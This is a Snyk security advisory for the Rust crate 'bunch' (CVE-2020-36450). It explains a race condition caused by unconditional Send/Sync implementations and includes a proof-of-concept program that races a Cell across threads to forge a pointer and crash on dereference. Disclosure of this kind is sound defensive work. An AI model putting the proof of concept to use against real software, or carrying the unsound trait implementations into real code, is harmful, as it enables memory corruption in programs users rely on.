Race Condition Affecting bunch package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.46% (76th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Race Condition vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-RUST-BUNCH-1316248
  • published7 Jul 2021
  • disclosed12 Nov 2020
  • creditYoungsuk Kim

Introduced: 12 Nov 2020

CVE-2020-36450  (opens in a new tab)
CWE-362  (opens in a new tab)

How to fix?

There is no fixed version for bunch.

Overview

bunch is an append-only, concurrent arena.

Affected versions of this package are vulnerable to Race Condition. This crate unconditionally implements Send/Sync for Bunch<T>. This allows users to insert T: !Sync to Bunch<T>. It is possible to create a data race to a T: !Sync by invoking the Bunch::get() API (which returns &T) from multiple threads. It is also possible to send T: !Send to other threads by inserting T inside Bunch<T> and sending Bunch<T> to another thread, allowing to create a data race by inserting types like T = Rc<_>. Such data races can lead to memory corruption.

PoC

#![forbid(unsafe_code)]

use bunch::Bunch; use std::cell::Cell; use std::sync::Arc; use std::thread;

// A simple tagged union used to demonstrate problems with data races in Cell. #[derive(Debug, Clone, Copy)] enum RefOrInt<'a> { Ref(&'a u64), Int(u64), } static X: u64 = 0;

fn main() { let bunch = Bunch::new(); // This item is not Sync, but yet can be pushed to Bunch. let item_not_sync = Cell::new(RefOrInt::Ref(&X)); bunch.push(item_not_sync);

let arc_0 = Arc::new(bunch);
let arc_1 = Arc::clone(&amp;arc_0);

let _child = thread::spawn(move || {
    let smuggled_cell = arc_1.get(0);

    loop {
        smuggled_cell.set(RefOrInt::Int(0xdeadbeef));
        smuggled_cell.set(RefOrInt::Ref(&amp;X))
    }
});

loop {
    if let RefOrInt::Ref(addr) = arc_0.get(0).get() {
        if addr as *const _ as usize != 0xdeadbeef {
            continue;
        }
        // Due to the data race, obtaining Ref(0xdeadbeef) is possible
        println!(&quot;Pointer is now: {:p}&quot;, addr);
        println!(&quot;Dereferencing addr will now segfault: {}&quot;, *addr);
    }
}

}

CVSS Scores

version 3.1